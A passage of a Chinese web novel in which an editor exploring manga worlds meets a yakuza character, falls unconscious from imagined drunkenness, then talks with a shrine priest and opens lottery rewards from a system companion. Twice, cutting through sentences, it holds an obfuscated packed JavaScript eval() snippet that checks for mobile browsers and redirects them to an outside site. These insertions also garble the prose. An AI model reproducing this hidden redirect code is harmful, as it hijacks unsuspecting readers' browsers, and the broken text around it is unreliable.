黑野编辑思考着侦探的人设,说,“你先放了我的委托人,其余的事再慢慢谈。” 面对这样冷淡的话语,良平先生竟然像是蒙受了意外之喜,双眼一亮,按着桌面就要倾身过来,“……你愿意和我谈了?” 黑野编辑立刻意识到这个回答不对。 “骗你的。”他立刻改口,皱着眉看回去,“你竟然还对此抱有希望?” 良平先生喀拉一声将桌子拍裂了,酒杯滚落到地上,液体洒了一地。 旁边立刻有人跪着来收拾,很快换上了新的酒水。 良平先生咬着牙,气得说不出话来。 黑野编辑看了眼他被桌子的反作用力震得微微颤抖的手臂,心想,真是个性情中人。 之前只闻其名的角色,竟然是这种人设吗? 55.醉酒 良平先生把其他人都赶了出去,又气得在房间里来回踱步,走了好几圈,竟然没有同侦探再说一句话。 他大概是相信了刚才的话,以为真的没得谈了。 黑野编辑有些失望,他还等着对方主动介绍剧情设定呢。 他差不多已经想到,东云茜大概是接受了森海岚三人组的建议,打算给侦探安排点复杂的过去和人际关系了。 这不是新的异变,而是新的剧情。 不过,漫画不能就这样给读者看默剧吧? 黑野编辑有些不高兴了,盯着良平先生瞧。 良平先生看到侦探的反应,又走了两圈,终于还是坐回了侦探的对面,苦涩地问,“你究竟是怎么想的?” 黑野编辑如实回答,“在想你想要做什么。” “难道你还不清楚吗?”良平先生给自己倒了杯酒喝下去,盯着侦探说,“我的想法从来都没有改过!” 【我知道了。】黑野编辑突然恍然大悟。 【知道什么了?】匣子一头雾水,【我还什么都不知道呢。】 是眼前这个角色的原型。黑野编辑暗暗心想。 他刚见到良平先生时,就隐隐感觉到有些熟悉,似乎曾经在哪里见过。 ——不是在《夜樱》世界里。《夜樱》世界里有脸谱的角色太少了,他能快速排除掉这个答案。 那么就是在现实世界里。 这并不奇怪,东云茜是一个很擅长观察和取材的漫画家,几乎每个重要角色都有现实原型或象征意义。 东云茜刚刚还和黑野编辑同行了一段时间,一定有什么人物是他们都见到过,给他们都留下了印象的。 东云茜在创作良平先生时,就下意识地借用了这个人的部分特征。 黑野编辑最开始还以为东云茜是像柊贤一那样,选择了斗沢封真作为观察对象。但是不对,良平先生虽然倨傲,却也有擅长忍耐的一面。 以斗沢封真那种强烈的自尊心,只要遭受过一次拒绝就会彻底回避所有可能性,绝对不可能问出“你愿意和我谈了”这种稍显卑微的问话。 直到这会儿,良平先生自斟酒的模样,才勾起了黑野编辑的回忆。 他好像曾经看过类似的场景,也因此而恍然大悟,这个不就是凤凰院隼人吗? 东云茜应该没见过凤凰院隼人喝酒抱怨的模样。 而且,在刻画角色时,东云茜明显也修改了很多人物特征,这种改动不比那些漫画家对黑野编辑取材时所做的改动小,在原型和角色间差了整整一千个哈姆雷特。黑野编辑才没能在第一时间里辨认出来这个曾经带过的新人的影子。 但是,东云茜是足够敏锐的,他捕捉到的某些神态和气质,在剧情里演化出来的模样,最终在有一瞬间里和黑野编辑对凤凰院隼人的记忆重合了。 ——凤凰院隼人借着酒力,愤怒地质问,“泽前辈,您难道就真的从来都没有想过吗?” 黑野编辑眨了眨眼睛,回到当下。 让自己不要将漫画角色和原型混为一谈。 良平先生说的是什么?哦,是“难道你还不清楚吗?我的想法从来都没有改过!” 良平先生又倒了一杯酒,眼角隐隐有些发红地问,“但是你呢?你究竟想要做什么?” 他伸手过来,死死掐住黑野编辑的下巴。 黑野编辑的手还被反绑在身后,暂时无法反抗,心里暗暗想,如果是凤凰院隼人,绝对不会做出如此失礼的举动。 良平先生将杯中的酒浇入侦探的嘴里,苦涩地追问,“哥哥,为什么非得离开家族……为什么不肯回来?” 原来如此。是身世。这就是东云茜给侦探黑川凛安排的人物暗线。 出身黑.道家庭,想要摆脱过去,却又不彻底改头换面,没有与地下世界断开联系,而是留在了灰色地带,始终在黑白交界之处游走。 是为了赎罪吗? 还是说未能完全割舍掉与家庭的羁绊,始终想要再拉一把,拯救自己的亲人?又或是再推一把,亲手加速罪恶的覆灭? 有了这种内心的矛盾在,侦探的人物形象就能被塑造得更立体了。 毫无疑问,作为主角一方的助力,侦探是绝对不会倒向邪恶的。 这个时候应该立刻拒绝弟弟的邀请,挣脱束缚,并,且,逃……走…… 黑野编辑太专注于对话中揭露的新信息了,没有立刻反应过来良平先生正在对侦探做什么。 等他回神时,才意识到问题所在—— 【喂,你的酒量是不是……】 匣子对着已经倒下的侦探,以及已经断开的思维链接,沉默半秒。 它无声地播放完后半句,【……有点问题?】 酒精其实是一种镇静剂。 醉倒时的失去意识,表现得与自然睡眠很相似,但两者的脑电波活动是截然不同的。后者仍有下意识保护自我精神完整的能力,前者则是在药物作用下的毫无防备。 匣子可以潜入人类的梦中,但是不会强行链接因为醉酒而中断联系的人类思维。 在关于宿主的事情上,匣子还是知道轻重的。它不敢将黑野编辑继续留在这个思潮暗涌的小世界里,急忙带着宿主的精神回到了现实世界。 坐在温泉旅馆大厅中的黑野编辑,突然闭着眼睛倒下了。 鹰之助吓了一跳,急忙冲过来,“黑野老师!” 匣子懒得分心嘲笑鹰之助的称呼错误,它正急着检查黑野编辑的身体。 回到现实世界后,按理说宿主原本的身体没有摄入酒精,可黑野编辑像是接受了精神暗示般,神经网络中传递着与饮酒后类似的行为信号,对身体造成了等同于醉酒的效果。 如果黑野编辑真的喝酒了,事情倒是简单,匣子可以帮忙直接分解掉进入身体的乙醇分子。 可黑野编辑已经误认为自己醉酒了,这种情况下,匣子不敢轻易干涉黑野编辑的神经系统。 ——人类的精神结构太脆弱了,有时候反而会让它感觉到束手无措。 它只能发牢骚,责怪宿主对自己酒量的认知也够固执的。 漫画世界是不同于现实的,明明就是个唯心世界。然而,人类的意识能控制身体,意识在漫画世界中的遭遇,可能会反馈到现实世界中的身体之上。 这就是为何在刚进入柊贤一的漫画世界时,匣子为何对黑野编辑的状态表现的那么紧张。 它可不想好不容易找着的这么满意的宿主,因为一个乌龙就自我意识毁灭了。 结果,连死都能冷静看待的宿主,居然倒在对自身酒量的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103572|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认知上了? 等他觉得自己醉够了,应该就会醒吧? 匣子检查完黑野编辑的身体没有别的问题后,就放手将其交给鹰之助去照顾了。 黑野编辑再度醒来时,睁眼看见的是温泉旅馆的天花板。因为都是传统建筑风格,他稍微分辨了一下,又转头看见守在一旁的鹰之助,才知道自己已经离开了《夜樱》世界的地下俱乐部,回到了现实。 【清醒了?】匣子语气古怪地问,【你酒品可真好,就只是睡觉。】 【现在是晚上八点,你醉了整整四个小时。】 【嗯。】黑野编辑简单回应一声。他不会告诉匣子,那不是醉,是为了防止自身因酒精而失控,所采取的过度自我压制手段,表现出来的形式是强制睡眠。 【让你担心了。】 “您醒了?”鹰之助急忙走过来,“您今天下午突然昏倒了。 “旅馆方面找了人来看过,说您的体温和脉搏都很正常,又能自主呼吸,让我先等等,看您能不能自行醒过来。”虽然没明说,但年轻人对此应该是怀有很多忧虑的。 “您感觉还好吗?有没有哪里不舒服?是不是身体还没好,最近累到了?还是温泉泡多了?” “我没事,”黑野编辑说,“只是睡得久了点。” 他坐起身来,“下午的活动结束了吗?漫画家们怎么样了?” “已经顺利结束了。大家听说您……睡着了,都来看望过您。”鹰之助说,“因为这个状况,今晚的打牌活动也取消了,他们都说创作状态很好,晚上想要留在房间里继续创作。 “我们都吃过晚饭了。您现在有胃口吗?我给您留了晚餐。” 黑野编辑放心了一些,点点头,又觉得少了点什么。 他想起来了,转身从枕头旁拿起那副眼镜。 这应该是被转移来卧室时,鹰之助帮自己摘下的。 “这个,”鹰之助小声问,“其实是平光镜吧?” “是的。”黑野编辑回答,并不奇怪鹰之助能发现这件事情。 他没有多解释什么。 鹰之助看着他戴上眼镜,也没有再问原因。 “对了,”鹰之助深吸了口气,低头说,“还有人在等您,就是旅馆请来帮你看病的人。 “但是,那个人不是医生……他说要是您能在九点钟前醒来的话,就见过您再走。” “好的。” 黑野编辑不想让别人久等,觉得晚餐还可以再往后推推。 他跟着鹰之助走出房间,不算太意外地发现,那位正端端正正跪坐在小桌前喝茶的五十多岁的长者,果然是他所认识的人。 也难怪鹰之助特意提到对方不是医生,语气还微微有点奇怪。 来人是这座小镇上唯一一家神社的宫司。 也是社长的友人。黑野编辑现在使用的这副能挡缘分的眼镜,就是社长从他家神社里借出来的。 在客人失去意识之后,温泉旅店方面请来的对象竟然不是医生,而是附近神社的宫司——这家旅店的主人,不会是知道自家的旅馆里闹鬼吧? “那副眼镜还好用吗?”藤原宫司抬起头,抱着手中的茶杯,微微笑着问他。 “挺好用的。”黑野编辑在其对面落座,说,“好久不见,贵安。” 56.隐藏奖励 黑野编辑与藤原宫司有些交情。 他以前跟着社长来过这个小镇,特地拜访过这家神社,答谢对方愿意出借眼镜的情谊。他就是在那时认识藤原宫司的,彼此还交换了联系方式。 之后,他偶尔会收到来自藤原宫司的邮件。 藤原宫司年纪大了,却有个很新潮的爱好,就是创作漫画。 他和社长成为友人,最初大概也是源于这份爱好。 这位长者的漫画是难以发表的,因为故事太过零散了,融合了他的日常感悟、旧事回忆和一部分说理说教。是一部回忆录型的自娱自乐的作品。 藤原宫司也很清楚,没有多少年轻人会愿意看这个,纯粹是出于自娱自乐才画这个,仅仅分享给亲朋好友看。他最初发给黑野编辑,是希望编辑帮忙指导一下,给点专业的建议。 藤原宫司心态开放,每次新认识了业内人士,都会这么做。 黑野编辑对待漫画的态度是很认真的。 只要有人呈给他看,哪怕作品没有商业价值,不在他的工作范畴内,他也会慎重对待每一位创作者的作品。 他认真回复了藤原宫司的邮件,并没有像其他编辑那样公式化地给出关于市场化或商业化的建议,而是在了解创作者意图的前提下,单纯地就作品内容本身发表看法,探讨其中思辨细节。 在那之后,他就成了这部未公开漫画的长期读者。 两人长期保持着邮件往来,聊天内容除了漫画外,还夹杂着藤原宫司的私人邀请和黑野编辑替漫画家请教的神道教知识交流。 他们因社长而相识,但后来的这些联系就与社长无关了。 【没想到你也有朋友啊。】匣子感到新奇。 【只是熟人罢了。】 黑野编辑说,“有劳你特地过来一趟。” “不妨事。”藤原宫司笑着答话,“我原本也有事想要来拜访你的。 “身体还好吧?” “不过是睡了一觉。” 黑野编辑叹了口气,觉得有些过意不去,“让你等到这么晚。 “天都黑了,待会回去方便吗?” 鹰之助立刻在身后替编辑解释,“抱歉,都怪我太紧张了。” “身体要紧,是该重视的。”藤原宫司认真地说,又看着黑野编辑,“这家旅馆有些流言,但不算严重。” “和那些无关。”黑野编辑知道宫司说的是什么。看来有很多人都知道这家温泉旅馆闹鬼。 从本地人的处理方式来看,他们已经接受了这个事实,也就是说,情况的确不严重。这个情况和匣子的评估是一致的。 “我知道自己的情况,”他并不想误导本地的宫司,“只是意外睡久了。” “好吧。”长者接受了这个说法。 藤原宫司介绍道,“过几天,这个镇上会举办一场祭典。在祓禊仪式之后,流言应该就会消停一些了。” 这也是他此次前来的用意之一。 这个小镇每年五月都会举办一次除灾祛病、祈求福祉的祭典。根据这里的祭祀传统,神轿巡游中需要由外地人来扮演神明的随行侍从,向小镇居民赐福。 在过去繁荣的时候,镇上筹备这样的祭典并不困难。但如今小镇人口萧条,外来旅客变少了。 黑野社每年的新人赏创作研讨营恰好就在五月举办,也算是社长的有意安排。 藤原宫司这次前来,是想要邀请漫画家们参加此次祭典。按照礼节,先找带队编辑商量。 黑野编辑知道这个传统,听完宫司的正式介绍后,回答说,“我会向各位漫画家转达邀请的。” 这也算是带漫画家们采风的一环。行程中有提前安排与神社交流和参观祭典的时间。就算有过于内向的漫画家不愿意参与赐福活动,也可以作为路人享受祭典。 按照原定的行程,“明天上午,我会带漫画家们去神社参拜。祭典是在周五吧,还有时间来慢慢商量准备。” “那就敬候你们光临了。”藤原宫司点头笑道,“我会提前备好茶水,带你们参观神社和山景。 “我最近也有新作,要是明天时间充裕,也想请你赐教。” 时间的确不早了。 简单的客套后,两位编辑将藤原宫司送出了旅馆门口。宫司再三请他们留步,然后独自沿着长街,往山的方向走了。 山间有一条小路是去往神社的,被树荫遮得很密,沿途只有几点路灯寂寥地照着。 “时间太晚了。”鹰之助感叹说,他本来想要护送长者回程的。 “藤原宫司的身体很健朗的。”黑野编辑说。 “您和他很熟识?”鹰之助问着,猛然想起来,“不对,您得吃晚饭了! “我将汤拿去给您热热。” 他们在回房间的路上,遇到了在庭院回廊拐角处自助机买冰镇饮料的女孩子们。 女孩子们穿着浴衣,热气腾腾的,应该是相约刚泡完温泉回来。 黑野编辑留意看了眼她们的饮料选择,很好,没有人在夜里喝咖啡。 “是编辑先生!你醒了?”最活泼的橘寅花挥手和他打招呼,“诶——!?你怎么又把眼镜给戴上了?”她的语调里满满的失望。 这回就连森海岚三人组也不发表“这样才好吧”之类的话了,只遗憾地看着黑野编辑的脸。 没关系,她们会习惯的。黑野编辑也不是从一开始就佩戴眼镜的,他对此事已有经验了。 “我跟你说哦,”小宫朝岚温柔地笑着,凑过来通报情况,“今晚大家没有打牌,但是斗沢先生将大厅里的纸牌带回房间了哦。” 她边说边趁机近看黑野编辑的脸。心想新角色的人设还可以再优化下,不能只是美强惨,还要给点情节来展现藏在冷酷面具下的柔软秀美——今晚回去就改! “好的,谢谢你告诉我。”黑野编辑认真地说。 他立刻决定,要是今晚斗沢封真敢为了玩牌这种小事继续熬夜的话,就得在明早的登山过程中,让其好好了解一番不重视身体健康的后果了。 这句道谢好像又让女孩子们莫名地兴奋了起来,直到鹰之助苦恼地说,“可以明天再聊吗?黑野老师刚刚醒来,又会完客,还没有吃晚饭呢。” “好的,好的,”女孩子们立刻让开了路,又极其愉快地发表意见,“编辑老师真是不会照顾自己呢,幸好有你一直陪着,一定要加油哦!” “我会的。”鹰之助心想,这本来就是自己该做的呀。 下午多睡了四个钟,晚上就有些难以入睡了。 十一点的时候,黑野编辑让匣子帮忙记录下还没有入睡的黑名单,之后就难得地无事可做了。 【要看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108320|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看今天任务的奖励结算吗?】匣子问。 虽然开头和结束都有些波折,但黑野编辑在今天基本上完成了对八个漫画世界的简单巡察,暂未发现有特殊污染源的存在。 匣子也为此准备了奖励。编辑的日常职业任务是用来赚积分(加强和宿主感情联系)的。巡视小世界则是实打实的主线任务了,该有特别的奖励才对——就算无功无过,也要有所慰劳。 积分的奖励作用失效了,这是场不幸的事故,匣子可不会让宿主就此打白工! 【不看就会爆炸,是吗?】黑野编辑熟练地问。 【是的。】匣子语气严肃地回答。 【好吧。】黑野编辑笑了笑,【这次是什么?】 匣子不知道这是不是自己的误解,但自从上次自己搞卡池弄巧成拙后,黑野编辑好像变得更好说话了。为什么?它搞不懂。 【奖励无色奖品抽奖券和白色普通奖品抽奖券各8张,目前为可使用状态。为避免资源冗余导致系统故障,请尽快使用并结算奖励。】 是的,匣子完全放弃了奖池的概率设计,但还是保留了奖池的内容。 它这次直接发对应奖品级别的抽奖券了,限定奖品价值,而在奖品内容上,算是保住了一点随机性的惊喜。 这次的任务比《病人守则》世界的任务要简单。 奖品的总体价值是略低于一次十连的期望价值的。对别人来说,失去了抽中高级奖品的希望,就相当于失去了抽奖的灵魂,这不过是一堆废品——抽奖的本质就是购买一点希望和一堆废品。对黑野编辑来说,这相当于规避了风险无限巨大的损失。 匣子估摸着黑野编辑的性格,暂时不敢先放蓝色稀有及以上级别的抽奖券,打算先温水煮青蛙,等黑野编辑习惯了这种奖励方式之后,再找个借口往奖品里塞好东西。 【抽吧。】黑野编辑说。 因为内容平淡,所以这次匣子开奖开得很快——它很快就从白色抽奖券里拆出来一堆的高级口红和剃须刀。 【……】 匣子感觉到黑野编辑的坏运气还在追赶自己。口红好歹还有不同的色号,但重复的剃须刀有什么用?这种抽奖结果简直是将无用二字发挥到了极致。 黑野编辑照例心情不错,【等研讨营结束的时候,当做纪念礼品送给漫画家们吧。】 匣子的心情顿时也好转起来,觉得黑野编辑的安排不错,这批礼物风格统一,也不至于被收到礼物的对象感觉厚此薄彼。自己的奖品果然还是有用的! 【我倒是无所谓你拿去做什么或是给谁,】它想起了鹰之助当初收到礼物时的激动模样,好心提醒,【不过你那个助手可能会伤心了。】 【鹰之助不会有问题的。】黑野编辑将其当做挑拨,毫不在意。 接下来是无色抽奖券。 匣子照例拆出来一堆来自世界各地的空气、海水、土壤,以及“匣子的感激”和“谢谢惠顾”。 本来就是没人抱希望的奖品级别,这种结果也理所当然。 不过,匣子这次加了新规则,【检测到已集满“匣子的感激”和“谢谢惠顾”五张,是否兑换特殊奖品“匣子的服务”一次?】 面对黑野编辑的惊讶,匣子不那么理直气壮地解释说,【都说了感激和谢谢了,为你额外做点什么也是应该的吧?】